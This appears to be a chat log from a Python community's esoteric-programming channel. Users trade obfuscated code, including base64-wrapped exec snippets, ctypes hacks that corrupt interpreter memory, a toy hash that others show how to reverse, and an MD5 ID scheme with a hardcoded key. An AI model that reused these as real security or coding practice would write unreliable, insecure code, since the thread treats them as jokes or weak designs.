005 | @AquaQuokka run commands in #bot-commands
!e print("```hello")
@gleaming timber :warning: Your 3.11 eval job has completed with return code 0.
[No output]
It stores the length of a tuple, then loops through each item in the tuple and gets the repr for each item. So if you reassign the tuple with setstate inside one of the reprs it will read out of bounds of the tuple if the new tuple is shorter then the original
if bool() or not not effects your projects then do not use python
Yes
this is #esoteric-python
we do weird stuff here on purpose
lmao
maybe I'll not not use python
:P
type() is your friend, custom_instance.__class__ may also do what you're looking for.
you're telling me that map has zip builtin? I have not been abusing this nearly enough.
lol
Anyone know why my custom grammar isnt acting as a while loop:
Ah i was doing syntax wrong 
multi line lambdas for python: https://github.com/dankeyy/superlambda.py
reminds me that i should probably continue working on that python macros project which also uses .pth
import random,string
def gcrypt(string, salt):
# Encode the input string and salt as bytes
string_bytes = string.encode()
salt_bytes = salt.encode()
# Initialize a hash value to zero
hash_value = 0
# Iterate over the string and salt bytes
for b in string_bytes + salt_bytes:
# Add the current byte to the hash value
hash_value += b
# Left-shift the hash value by one bit
hash_value <<= 1
# XOR the hash value with the current byte
hash_value ^= b
# Return the hexadecimal representation of the hash value
return hex(hash_value)
def verify_string(string, stored_salt, stored_hash):
# Generate a new hash value for the input string using the stored salt
new_hash = gcrypt(string, stored_salt)
# Compare the new hash value to the stored hash value
if new_hash == stored_hash:
# The input string is authentic
return True
else:
# The input string is not authentic
return False
# Generate a random salt
salt = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
# Hash a string and store the salt and hash value
original_string = "Hello World"
stored_salt = salt
stored_hash = gcrypt(original_string, salt)
# Verify the authenticity of the original string
result = verify_string(original_string, stored_salt, stored_hash)
print(result) # Output: True
# Verify the authenticity of a modified string
modified_string = "Hello World!"
result = verify_string(modified_string, stored_salt, stored_hash)
print(result) # Output: False
I improved your hashing function
verify_string can just be:
def verify_string(string, stored_salt, stored_hash):
return gcrypt(string, stored_salt) == stored_hash
:P

i wonder if the hash can be reversed, given that the algorithm is known and the salt is known
brb im gonna go try to reverse your hash
100% could be.,
This is not a hashing function
But I use this for user ID's
import random,typing,time,hmac,hashlib
def RANDOM_SEED(length: int = 5, chars: typing.Sequence[str] = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")) -> str:
return "".join(random.choice(chars) for _ in range(length))
def CREATE_ID(username: str = RANDOM_SEED(length=32), dimiter: bool = True) -> str:
if dimiter:
return f"{RANDOM_SEED()}-{int(time.time())}-{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
return f"{RANDOM_SEED()}{int(time.time())}{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
any improvements?
well, this removes the salt
known_salt = something
hashnum = int(somehash, 16)
for b in known_salt[::-1]:
hashnum ^= b
hashnum >>= 1
hashnum -= b
0-0
Yeah
dk how you would get the string from there though

i mean, really all we have to do from there is get a string that has the same hash as whatever is there
bc a hash collision will also work
so instead of getting original string, getting a hash collision
basically, we need a character such that:
(character_ord * 2) ^ character_ord = hash_value
actually
(something * 2) ^ something = 3 * something
I'm not sure, but I THINK that after the salt is removed, you can do chr(hash_value / 3) to get a hash collision
*as long as hash_value < 128 and it's divisible by 3
@sick hound idk if you'll need something from this snippet, but still i'll leave it here
# N-th digit in the number
# nd(n,i=0) ⌊n/10⌋ⁱ mod 10
nd=lambda n,i=0: n//10**i %10
# Natural logarithm
# A bit slower (100x - approximate number, I have never benchmarked this) than the math.log
# ln(n) lim (n→Ω) n(x^1/n - 1)
def ln(n):
s,t=0.0,(f:=(x:=(n-1)/(n+1)))/(d:=1.0)
while f>1e-19:
s+=t;d+=2.0;t=(f:=f*(x**2))/d
return 2.0*s
# Primitive log10n implementation
log10=lambda n:ln(n)/ln(10)
# Digit count in the number
# nl(n) ⌊log₁₀n + 1⌋
nl=lambda n:int(math.log10(n))+1
#nl=lambda n:int(log10(n))+1```
better yet, you can do:
logx=lambda x,n:ln(n)/ln(x)
yeah but i'd rather name it lg instead of log10, because i don't need to have any base but 10 (i've used this snippet in another hash algorithm)
ah
isn't lg and log10 the same?
¯_(ツ)_/¯
yes
# -*- encoding: custom -*-
# include "random.h"
func test(x<int>, y<int>, z<bool>) && [int]:
return (x, y, z)
print(test(1, 2, True))
This made me want to make my own, so i started this, now to add 100 more things 
Update:
# -*- encoding: cpp -*-
#from "cout.h" #include "cout", "cin"
func test() {
cin >> "Enter a number: " << 3 # 3 is the default if None is entered
cout << "You entered: " << cin.input_value
}
test()
"""
Enter a number: 3
You entered: 3
"""
(3 * 2) ^ 3 = 5. The *3 idea only works if something is a power of 2.
im bad at math :(
The obstacle is that ^ doesn't always do the same thing as + because of the carry bits. When you make an adder, you also do an & operation on the bits.
yeah i just forgot that not all numbers are powers of 2
lmao
tested my theory with:
1
2
decided it was good enough
Interestingly, since you leftshift by one then xor, the least significant bit is unchanged from the original. You can probably use that bit to recover the 2's bit, and use that for the 4's bit.
You could also start with the most significant bit, because that's guaranteed to be xor'd with 0.
i'm interested to see your source
oh thanks
!e
def wtf(a):
def s(a,b,c):a.__setitem__(b,c)
b,c,d,e,h,i = [0],[0]*30000,{},[],[0],["X"];[((f=="Q" and e.append(g)),(f=="3" and (d.__setitem__(e[-1], g),s(d,g,e.pop()),)))for g,f in enumerate(a)];next(0 for _ in iter(int, 1) if not (h[0] < len(a) and (s(i,0,a[h[0]]),(i[0]=="A" and (s(b,0,b[0]+1))),(i[0]=="v" and (s(b,0,b[0]-1))),(i[0]=="z" and (s(b,0,b[0]+2))),(i[0]=="9" and (s(b,0,b[0]-2))),(i[0]=="j" and (s(c,b[0],(c[b[0]]+1)%256))),(i[0]=="7" and (s(c,b[0],(c[b[0]]-1)%256))),(i[0]=="h" and (s(c,b[0],(c[b[0]]+2)%256))),(i[0]=="N" and (s(c,b[0],(c[b[0]]-2)%256))),(i[0]=="e" and (s(c,b[0],(c[b[0]]*2)%256))),(i[0]=="c" and (s(c,b[0],(c[b[0]]+3)%256))),(i[0]=="M" and (s(c,b[0],(c[b[0]]+4)%256))),(i[0]=="Q" and c[b[0]]==0 and (s(h,0,d[h[0]]))),(i[0]=="3" and c[b[0]]!=0 and (s(h,0,d[h[0]]))),(i[0]=="d" and (print(chr(c[b[0]]),end=""))),(i[0]=="," and (s(c,b[0],ord(input())))),s(h,0,h[0]+1))))
wtf("heeQAMQAhAcAcAj9973AjAjA7zjQv3v73zdAN7dMcddcdzdv7dvdcdNNNdNNNNdzjdAhd")
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello World!
How does this work?
magic 🪄
[0]*30000
looks like an obfuscated brainfuck
Pythonfuck
just curious, did you actually make that
Hi, is there a way to bypass thr prohibition to add an attribute to a buildins type ?
i would like to overwrite dunder class_getitem on int and float, but python doesn't let me
check out fishhook
>>> from fishhook import hook
>>> from typing import GenericAlias
>>> @hook(int)
... def __class_getitem__(cls, *keys):
... return GenericAlias(int, tuple(*keys))
...
>>> int[1, 5]
int[()]
>>> int[1, 5, 7]
int[()]
>>> int[1]
int[()]
Hmmm, it seems to partially work
idk if i done something wrong
Oh okay i don't need to take cls
thanks !
fishhook.hook_cls
"MooScript"
hm
8 possibilities for each moo
you could make an assembly language with that
or something stack based
like bf?
it basically is bf
moo = 0
MOO = 7
but my conversion code is not...
hm
you could do something like a dict
newCode = {
0 : "moo",
1 : "moO",
etc
}[b]
easier to refactor as well
in case you ever want to do something like add more letters
but either way, this is a fun idea
i used an already made version of brainfuck in python, simplified it, changed up the instructions and added more instructions and ended up with that.
@dry mirage 
.bm
Click the button to be sent your very own bookmark to [this message](#esoteric-python message).
I wonder if there's a way to make an actual keyword work
like keyword var with a space
probably not? would fail at the parsing stage
i wonder what happens with soft keywords 
if you do it in a module, then you can use an import hook and import it from main
and then handle the syntax customly
feels cheaty :p
on other notes, mutable strs 👀
from fishhook import hook
from einspect import view
@hook(str)
def __setitem__(self, index, value):
view(self).buffer[index] = value.encode()
s = "cat"
s[0] = "d"
s[1:] = "og"
print(s)
>> dog
it's beautiful, toss it into the fire
oh cereal did that once
except using some ctypes trickery instead of fishhook
also due to interning 🥴
print("cat" == "dog")
>> True
!e my favorite fishhook slice trick
from fishhook import hook
@hook(slice)
def __hash__(self):
return hash((self.start, self.stop, self.step))
d = {}
d[::-1] = "what could go wrong"
print(d[::-1])
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
what could go wrong
oh god i hate it
thank you
waaait what's going on here
yo can someone fix a 1 line thing real fast
we changed the memory of the object at the address pointed to by "cat" into "dog", and the later "cat" due to being a string literal, re-uses the same object as before that was modified

from fishhook import hook
from einspect import view
@hook(int)
def __iadd__(self, other):
view(self).value += other
return self
x = 600
x += 150
print(x)
>> 750
print(600)
>> 750
oh yeah you can do some fun ctypes trickery with numbers that are lower
because they're stored
hm? 600 shouldn't be stored, only up to 256 or so I think
it works the same for all the ints, the lower ones are just slightly more unsafe
yeah
im not talking about 600
i mean with the stored ones
you can do fun ctypes trickery
what you were doing reminded me
!e
from ctypes import *
c_longlong.from_address(id(1)+24).value = c_longlong.from_address(id(69)+24).value
print(1)
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
69
fun ctypes trickery
that should work the same for any other int literal as well though
this one is fun
!e
from ctypes import *
n=1
while True:
c_longlong.from_address(id(n)+24).value = c_longlong.from_address(id(n+1)+24).value
print(n)
@versed eagle :x: Your 3.11 eval job has completed with return code 143 (SIGTERM).
001 | 2
002 | 4
003 | 8
004 | 16
005 | 32
006 | 64
007 | 128
008 | 256
009 | 512
010 | 1024
011 | 2048
... (truncated - too many lines)
Full output: too long to upload
huh
used to only work for the stored ones
did they change that from 3.10 to 3.11?
though if you modify 1, pretty much doing anything in the interpreter will break something
!e
from ctypes import *
c_longlong.from_address(id(1)+24).value = c_longlong.from_address(id(69)+24).value
print(1)
import numpy as np
@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
69
!e also apparently modifying 5 is always a segmentation fault (probably due to some code flow)
from ctypes import *
c_longlong.from_address(id(5)+24).value = c_longlong.from_address(id(100)+24).value
print(5)
@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
100
because it makes math with literals inconsistent to math with variables
well, it should be the same, if you don't mess with the interpreter 🥴
i mean-
!e
from ctypes import *
n=1
c_longlong.from_address(id(n)+24).value = c_longlong.from_address(id(n+1)+24).value
print(1 + 1)
print(n + n)
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 2
002 | 4
n = 1 (which is 2)
yeah but, ints are supposed to be immutable
true
!e just like how tuples are supposed to be hashable, under the assumption you can't make a recursive tuple 🥴
from ctypes import c_ssize_t
tup = (10, 20, 30)
arr = (c_ssize_t * len(tup)).from_address(id(tup)+(8*3))
arr[1] = id(tup)
print(tup)
print(hash(tup))
@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
(10, (...), 30)
!e ```py
A='mOoMoomoOMOOmOoMoomoOMOOmoomoomoomoomoomoomoomoomooMoomOOmoomoomoomoomoomoomoomoomoomoomoomoomOomoOMOOmOOMoOmooMoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOMoOmoomoomoomoomoomoomoomoomoomoomoomoomoomooMoOmOO'
eval(compile(import("base64").b64decode("CmE9J0lOUFVUJwpaPSdQUklOVCcKWT0nTEVGVCcKWD0nUklHSFQnClc9J0RFQ1JFTUVOVCcKVj0nSU5DUkVNRU5UJwpVPSc3JwpUPSc2JwpTPSc1JwpSPSc0JwpRPSczJwpQPScyJwpPPScxJwpOPScwJwpNPWRpY3QKRT0nbG9sJwpJPSdDTE9TRV9MT09QJwpIPSdPUEVOX0xPT1AnCkQ9U3ludGF4RXJyb3IKRz1sZW4KaW1wb3J0IHJlCkY9e046VixPOlcsUDpYLFE6WSxSOkgsUzpaLFQ6YSxVOkl9CkM9eydtb28nOk4sJ21vTyc6TywnbU9vJzpQLCdtT08nOlEsJ01vbyc6UiwnTW9PJzpTLCdNT28nOlQsJ01PTyc6VX0KZGVmIEsoTzBPT09PME8wMDAwTzAwT08pOgoJQT1saXN0KCk7Qj1NKCkKCWZvciAoQyxMKSBpbiBlbnVtZXJhdGUoTzBPT09PME8wMDAwTzAwT08pOgoJCUo9RltMXQoJCWlmIEo9PUg6QS5hcHBlbmQoQykKCQllbGlmIEo9PUk6CgkJCWlmIEcoQSk9PTA6cmFpc2UgRChFKQoJCQlLPUEucG9wKCk7QltLXT1DO0JbQ109SwoJaWYgRyhBKT4wOnJhaXNlIEQoRSkKCXJldHVybiBCCmRlZiBCKE8wT09PT08wTzBPMDBPTzBPKToKCUY9Jyhtb28pJztBPXJlLmZpbmRhbGwoRixPME9PT09PME8wTzAwT08wTyxyZS5JR05PUkVDQVNFKQoJaWYgQT09W106cmFpc2UgRChFKQoJQj0nJwoJZm9yIEcgaW4gQTpCKz1DW0ddCglyZXR1cm4gQgpkZWYgSihPME8wMDAwT09PTzBPME8wTyk6CglFPU8wTzAwMDBPT09PME8wTzBPO0o9SyhFKTtCPU0oKTtBPTA7RD0wCgl3aGlsZSBEPEcoRSk6CgkJTD1FW0RdO0M9RltMXQoJCWlmIEM9PVg6QSs9MQoJCWVsaWYgQz09WTpBLT0xCgkJZWxpZiBDPT1WOgoJCQlCW0FdPUIuZ2V0KEEsMCkrMQoJCQlpZiBCW0FdPT0yNTY6QltBXT0wCgkJZWxpZiBDPT1XOgoJCQlCW0FdPUIuZ2V0KEEsMCktMQoJCQlpZiBCW0FdPT0tMTpCW0FdPTI1Ni0xCgkJZWxpZiBDPT1hOkJbQV09b3JkKHN5cy5zdGRpbi5yZWFkKDEpKSUyNTYKCQllbGlmIEM9PVo6cHJpbnQoY2hyKEIuZ2V0KEEsMCkpLGVuZD0nJyxmbHVzaD1UcnVlKQoJCWVsaWYgQz09SDoKCQkJaWYgQi5nZXQoQSwwKT09MDpEPUpbRF0KCQllbGlmIEM9PUk6CgkJCWlmIEIuZ2V0KEEsMCkhPTA6RD1KW0RdCgkJZWxzZTowCgkJRCs9MQpMPUIoQSkKSihMKQ=="),"<string>","exec"))
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
lmao
efficiency 100
!e ```py
A=import("zlib").decompress(b'x\x9c\xcb\xf5\xcf\xf7\xcd\xcf\xcf\xcd\xf7\xf7\xf5\xf7\xcfEf\x83\x18X\x10H\x01nY\x10\xf2\x87\x9b\xe6\xef\x9b\xef\x0f\xe6\x12\xa7\x1dI#X%ve@qd)L+P-"\x84P,\x85\x98L\x18a\xb5\x94p\xc8P\x12>h\xba\x90\xbd\x8f\xd5y\xa4\xb8\x9c\xa2\xe0\xf2\xf7\x07\x00\xb5\xd1\xe6,').decode()
eval(compile(import("base64").b64decode("CmE9J0lOUFVUJwpaPSdQUklOVCcKWT0nTEVGVCcKWD0nUklHSFQnClc9J0RFQ1JFTUVOVCcKVj0nSU5DUkVNRU5UJwpVPSc3JwpUPSc2JwpTPSc1JwpSPSc0JwpRPSczJwpQPScyJwpPPScxJwpOPScwJwpNPWRpY3QKRT0nbG9sJwpJPSdDTE9TRV9MT09QJwpIPSdPUEVOX0xPT1AnCkQ9U3ludGF4RXJyb3IKRz1sZW4KaW1wb3J0IHJlCkY9e046VixPOlcsUDpYLFE6WSxSOkgsUzpaLFQ6YSxVOkl9CkM9eydtb28nOk4sJ21vTyc6TywnbU9vJzpQLCdtT08nOlEsJ01vbyc6UiwnTW9PJzpTLCdNT28nOlQsJ01PTyc6VX0KZGVmIEsoTzBPT09PME8wMDAwTzAwT08pOgoJQT1saXN0KCk7Qj1NKCkKCWZvciAoQyxMKSBpbiBlbnVtZXJhdGUoTzBPT09PME8wMDAwTzAwT08pOgoJCUo9RltMXQoJCWlmIEo9PUg6QS5hcHBlbmQoQykKCQllbGlmIEo9PUk6CgkJCWlmIEcoQSk9PTA6cmFpc2UgRChFKQoJCQlLPUEucG9wKCk7QltLXT1DO0JbQ109SwoJaWYgRyhBKT4wOnJhaXNlIEQoRSkKCXJldHVybiBCCmRlZiBCKE8wT09PT08wTzBPMDBPTzBPKToKCUY9Jyhtb28pJztBPXJlLmZpbmRhbGwoRixPME9PT09PME8wTzAwT08wTyxyZS5JR05PUkVDQVNFKQoJaWYgQT09W106cmFpc2UgRChFKQoJQj0nJwoJZm9yIEcgaW4gQTpCKz1DW0ddCglyZXR1cm4gQgpkZWYgSihPME8wMDAwT09PTzBPME8wTyk6CglFPU8wTzAwMDBPT09PME8wTzBPO0o9SyhFKTtCPU0oKTtBPTA7RD0wCgl3aGlsZSBEPEcoRSk6CgkJTD1FW0RdO0M9RltMXQoJCWlmIEM9PVg6QSs9MQoJCWVsaWYgQz09WTpBLT0xCgkJZWxpZiBDPT1WOgoJCQlCW0FdPUIuZ2V0KEEsMCkrMQoJCQlpZiBCW0FdPT0yNTY6QltBXT0wCgkJZWxpZiBDPT1XOgoJCQlCW0FdPUIuZ2V0KEEsMCktMQoJCQlpZiBCW0FdPT0tMTpCW0FdPTI1Ni0xCgkJZWxpZiBDPT1hOkJbQV09b3JkKHN5cy5zdGRpbi5yZWFkKDEpKSUyNTYKCQllbGlmIEM9PVo6cHJpbnQoY2hyKEIuZ2V0KEEsMCkpLGVuZD0nJyxmbHVzaD1UcnVlKQoJCWVsaWYgQz09SDoKCQkJaWYgQi5nZXQoQSwwKT09MDpEPUpbRF0KCQllbGlmIEM9PUk6CgkJCWlmIEIuZ2V0KEEsMCkhPTA6RD1KW0RdCgkJZWxzZTowCgkJRCs9MQpMPUIoQSkKSihMKQ=="),"<string>","exec"))
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, World!
🥱
code
Hey @sick hound!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
yeah that
99 bottles of beer on the wall, cow edition: https://paste.pythondiscord.com/unopugunef
#bot-commands message
Running multiple lines of code in one line
Making it possible to create mandelbrot set in one line of code using python
you know you can just do [print("Hello", end=" "), print("World")]
POV: this could be de-coded in 5-10 minutes
dident ask
!e ```py
@type.call
class emoji:
def format(self, fmt_spec):
emojis = {
"face_vomiting": "\U0001F92E",
}
return emojis[fmt_spec]
print(f"{emoji:face_vomiting}")
@gleaming timber :white_check_mark: Your 3.11 eval job has completed with return code 0.
🤮
interesting
!e ```py
from unicodedata import lookup
@type.call
class emoji:
def format(self, spec):
return lookup(spec.upper())
print(f"{emoji:sign of the horns}")
@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.
🤘
hmm i found something weird
i was testing a const implementation
!e
import string
from ctypes import *
obase = py_object.from_address(id(globals()) + 8)
class ConstScope(dict):
__slots__ = ()
const_chars = set(string.ascii_uppercase + "_" + string.digits)
def __setitem__(self, key, value, dict=dict, obase=obase):
if set(key) < ConstScope.const_chars:
try:
obase.value = dict
if key in self:
raise ValueError("Cannot overwrite constant %s" % key)
finally:
obase.value = __class__
dict.__setitem__(self, key, value)
obase.value = ConstScope
my_var = 1
MY_CONST = 2
print(f"{my_var = }")
print(f"{MY_CONST = }")
my_var = 3
print(f"{my_var = }")
MY_CONST = 999
print(f"{MY_CONST = }")
@languid hare :x: Your 3.11 eval job has completed with return code 1.
001 | my_var = 1
002 | MY_CONST = 2
003 | my_var = 3
004 | Traceback (most recent call last):
005 | File "<string>", line 28, in <module>
006 | File "<string>", line 13, in __setitem__
007 | ValueError: Cannot overwrite constant MY_CONST
all good right?
!e but then:
import string
from ctypes import *
obase = py_object.from_address(id(globals()) + 8)
class ConstScope(dict):
__slots__ = ()
const_chars = set(string.ascii_uppercase + "_" + string.digits)
def __setitem__(self, key, value, dict=dict, obase=obase):
if set(key) < ConstScope.const_chars:
try:
obase.value = dict
if key in self:
raise ValueError("Cannot overwrite constant %s" % key)
finally:
obase.value = __class__
dict.__setitem__(self, key, value)
obase.value = ConstScope
my_var = 1
MY_CONST = 2
print(f"{my_var = }")
print(f"{MY_CONST = }")
my_var = 3
print(f"{my_var = }")
MY_CONST = 999
print(f"{MY_CONST = }")
def scope(): global MY_CONST
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | my_var = 1
002 | MY_CONST = 2
003 | my_var = 3
004 | MY_CONST = 999
???
somehow the scope after is changing the access before
@maiden blaze send help
wait why did you have to do set(key) < ConstScope.const_chars when you could've just done key.isupper()?
hmm well i tested it on "_".isupper() and it was false
but then now i test it "A_A".isupper() and its true

i guess
more often than not it's always being overwritten because it's a conventional "throwaway" variable
how about _1
still looks like a throwaway/temporary variable
this generates STORE_GLOBAL
the code before it generates STORE_NAME
what could be the difference?
oh
seems like STORE_NAME uses standard dict.__setitem__() but STORE_GLOBAL just directly inserts it in the dictionary @languid hare
interesting
Python/bytecodes.c lines 985 to 988
if (PyDict_CheckExact(ns))
err = PyDict_SetItem(ns, name, v);
else
err = PyObject_SetItem(ns, name, v);```
STORE_NAME checks for a dict subclass but https://github.com/python/cpython/blob/main/Python/bytecodes.c#L1125 STORE_GLOBAL doesn't
Python/bytecodes.c line 1125
int err = PyDict_SetItem(GLOBALS(), name, v);```
might be easier to handle once 3.12 releases because it has dict watchers to watch for changes to a dictionary
why do i feel like this is me
oh wait wtf this was me
you literally can't distinguish between different deleted users
update: i can understand it now
https://github.com/chilaxan/pysnippets/blob/7daa0356c1a2b39fbe7a5e25504253c053973578/byref.py#L9-L11 this can be used to "fix" (use fishhook.asm.hook)
byref.py lines 9 to 11
@hook(pythonapi.PyDict_SetItem, argtypes=[py_object]*3, restype=c_void_p)
def pydict_setitemhook(mp, key, val):
mp[key] = val```
that's not platform-independent is it
doesn't work on windows
iirc there's mprotect
that's not on windows is it?
Oh yea
It didn't work with virtual protect? You just need to get the process to a point that it can change its own executable code in memory
I'm out of the country rn but when I get back if you remind me I'll get it working on windows
kk
From looking at virtual protect docs, probably needed to refresh the instruction cache (also might need a way to do that on the unix version too now that I think about it)
don't be that way
!e
x=list(str(sum([*map(lambda x:sum([*map(int,(bin(ord(x))[2:]))]),'hello world!')])*(1<<1|1)));y=x[9//2//(9//2)];x[654**0<<1]=x[3>>1];x[(10^1)&1]=eval(chr(ord('Y')+(2<<4)),locals());x=__import__('htam'[::~0]).sqrt(int('abc'[:8*(2>>3)].join(x)));x=int(x//4*(2<<2>>1))+[~~(1&1&1&1&1&1&1)][0];x*=len(hex(3735928559)[[*[2<<1>>1]][0]:]);print(chr(x),file=getattr(__import__(chr(ord('S')+(2<<4))+'y'+chr(ord('t')-1)),'stdout'),end='');x=str(6+(2&3^2&3))+[*map(str,[*[int(str(6))+(6//2)]])][0];y=int((int(x)|[*[4*((34^34)|1<<3)]][0]));i=sum([*[*[*[y if ~((int(x)*c)>y) else 0 for c in range(5^5,int(str(10)*2,base=2<<1>>1),5%2)]]]]);i=int(str(i)[:~0]);z=getattr(__import__(chr(int('12'[:5&abs(~0)]*(1<<1|1)))+chr(i+(1<<2|1<<1|1)+int(hex(7)[2:],base=16))),'sys');getattr(z,'stdo'+chr(10**(1<<1)+(8*9-(7*9)+8))+chr(10**(1<<1)+(8*9-(7*9)+7))).write.__call__(chr(i));d={'ba'+[*[chr(ord('S')+(2<<4))]][0]+chr(int(bin(5)[2:])):2};x=ord(getattr(__builtins__,'ch'+chr(ord('R')+[*[2<<4]][0])).__call__(ord('0')+(2<<(int(str(ord('e')),**d))-(2<<1))));x=eval(compile('x','','eval'),globals())*(eval(type(5).__name__)(chr(eval(compile('x','','eval'),globals()))));x=int(x-(round.__call__(x//((7>>1)&2),-1)));a={'end':'end'[:2-(~~2)]};print(chr(x)*2,**{**a,**{'file':getattr(__import__(chr(ord('S')+((2<<5)//2))+chr(ord('n')+int(str(10)*2,base=2)+5%2)+chr(ord('S')+((2<<5)//2))),'_'*2+'stdo'+'u'+chr(ord('n')-ord('n')+ord('t'))+'_'*2)}});x=str(ord.__call__(chr(ord('0')+(2<<(int(str(ord('e')),base=2)%2+eval('~'*5+chr(48))))))*(1<<(5&(1<<0))));x=eval('__builtins__.__dict__')['chr'].__call__(int(x)+int(x[:[*[(5&1&1&1)+1]][0]])+int(x[:[*[1]][0]]));d={};print(x,file=getattr(eval('s',d) if not exec('import '+ord('y').__getattribute__('__repr__').__call__().replace('1','s').replace('2','y')+';s=sys',d) else None,'stdout'),end='');
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello
Works.
Just stated learning python seems easy ^-^
Hey @versed eagle!
You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.
Oh python is so easy right? :D
yeah
its not that hard of a language to learn :P
I swear even if python was like this I would still do python instead of java 💀
!e
from ctypes import *
class glob(dict):
def __getitem__(s,i):
(_:=({}.__class__.__getitem__))
try:
return _(s,i)
except:
try:
return _(s,"__builtins__").__getattribute__(i)
except:
return f"undefined variable '{i}' lmao"
py_object.from_address(id(globals())+8).value=glob
x = 1
print(x)
print(y)
@versed eagle :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
001 | 1
002 | undefined variable 'y' lmao
theres a fun one if you're just learning python
Remember to add __slots__ = () to prevent the segfault on exit
whats the best obfuscator for python?
that's a matter of opinion
the best is probably doing it by hand, but I assume you mean automated tools?
yes
Still depends what your goal is
Protecting the source code or compiling it to a native binary
protecting source code
Probably super plus mode from PyArmor then, with a renamer below it
And @quartz wave obfuscator
With the dunders
what?
it's not meant to be obfuscation, it's compressed
is there a deobfuscator for super plus mode?
I only know one guy that has one, which is private of course
sven have you used/looked at this recently
I'm just curious to see what your opinion is
given that you're the resident Expert on Obfuscators
Many Python obfuscators make the same mistakes, they use exec or eval to execute the code. They use compressors like zlib and lzma to then just pass the original code to the exec call.
No but all I know is that it doesn't exec, it's still not hard to invoke the dunders but at least it will require some skill
@empty coyote :white_check_mark: Your 3.11 eval job has completed with return code 0.
<class 'NoneType'>
i dont trust you, i wont run it
nah no needed
you can use a compiler online
it does nothing
just prints something
yeah
i think it is very huge code for print('something')
11kb of code to print ~15 characters
:D
Correct me if I'm wrong though 😄
🧂
impressive
does the result compile and run properly?
it doesn't look like namespace py is ever defined
is there a header that needs to be included as well?

hey guys, does making a benchmark with fibonacci numbers make it weird?
!e
import time
def fib(num):
if num in [0, 1]:
return num
else:
return fib(num - 1) + fib(num - 2)
seconds = 0
for n in range(30):
t1 = time.perf_counter()
fib(n+1)
t2 = time.perf_counter()
seconds += t2-t1
score = round((100/seconds)*100, 2)
print(f'Tests finished in {round(seconds, 2)}s\n\nScore: {score}')
I dont think so. But you can try different implementations of fib and find the fastest option, then share results here. I think it will be interesting
I see at least three possible options how you can make your current fib function faster
why would it
- replace [0,1] with (0,1) or {0,1}
- replace [0,1] with
num == 0 or num == 1(or useisinstead of==) - change order of recursion on last line (swap 1 and 2)
i never heard someone doing it xdd
import time
def fib(num, cache={0: 0, 1: 1}):
if num in cache:
return num
else:
num = cache[num] = fib(num - 1) + fib(num - 2)
return num
seconds = 0
for n in range(30):
t1 = time.perf_counter()
fib(n+1)
t2 = time.perf_counter()
seconds += t2-t1
score = round((100/seconds)*100, 2)
print(f'Tests finished in {round(seconds, 2)}s\n\nScore: {score}')
You can get rid of several lines by inverting if condition
fib(n, {})
💥
*, __cache=...
oh ok
hey @fleet bridge how can i make the fib function much faster?
def fib(n):
if n in [0,1]:
return n
else:
return fib(n-1) + fib(n-2)
It's faster to directly calculate the nth Fibonacci number using the formula rather than doing recursion. Loops are much faster than recursion in Python, but you don't even need loops.
The formula is called Binet's formula. (phi**n - (-phi)**-n) / sqrt(5)
phi or φ is equal to (1 + √5)/2.
hmm ill try
You'll get floating point answers instead of integers, but you can convert using int(...).
fib = lambda n: round((phi**n - (-phi)**-n) / 5**.5)
just in case x.99999999999999941 or something like that happens
@teal saffron try this
ok
!e
phi = (1 + 5**.5)/2
fib = lambda n: round((phi**n - (-phi)**-n) / 5**.5)
print(fib(30))
oof
@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.
832040
I think creating a tuple or set is potentially faster than creating a list, but that could be something to check about.
ill try
the speed is the same
!e
import time
def fib(n):
if n in {0,1}:
return n
else:
return fib(n-1) + fib(n-2)
t1 = time.perf_counter_ns()
fib(40)
t2 = time.perf_counter_ns()
print(t2-t1)
hmm
i have an idea
!e
from functools import lru_cache as lc
@lc(None)
def fib(n):
if n in [0,1]:
return n
return fib(n-1) + fib(n-2)
print(fib(100))
@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.
354224848179261915075
nice
!e
from functools import lru_cache as lc
import time
@lc(None)
def fib(n):
if n in [0,1]:
return n
return fib(n-1) + fib(n-2)
t1 = time.perf_counter()
fib(128)
t2 = time.perf_counter()
print(f'{round(t2-t1)}s elapsed')
@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.
0s elapsed
For huge numbers it will be much faster.
Tuple and set are created once, list is creating in every call
There is an alias for lru_cache(None) - cache
I don't understand why that would be the case. Surely a set or tuple could get garbage-collected just like a list would?
!e ```py
x = (1, 2)
y = (1, 2)
print(x is y)
@snow beacon :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
This seems to differ when it's run in the repl.
if you look at the bytecode it actually loads a constant tuple for the list anyways im pretty sure
!e ```py
import dis
def fib(n):
if n in [0,1]:
return n
return fib(n-1) + fib(n-2)
dis.dis(fib)
@astral rover :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 2 0 RESUME 0
002 |
003 | 3 2 LOAD_FAST 0 (n)
004 | 4 LOAD_CONST 1 ((0, 1))
005 | 6 CONTAINS_OP 0
006 | 8 POP_JUMP_FORWARD_IF_FALSE 2 (to 14)
007 |
008 | 4 10 LOAD_FAST 0 (n)
009 | 12 RETURN_VALUE
010 |
011 | 5 >> 14 LOAD_GLOBAL 1 (NULL + fib)
... (truncated - too many lines)
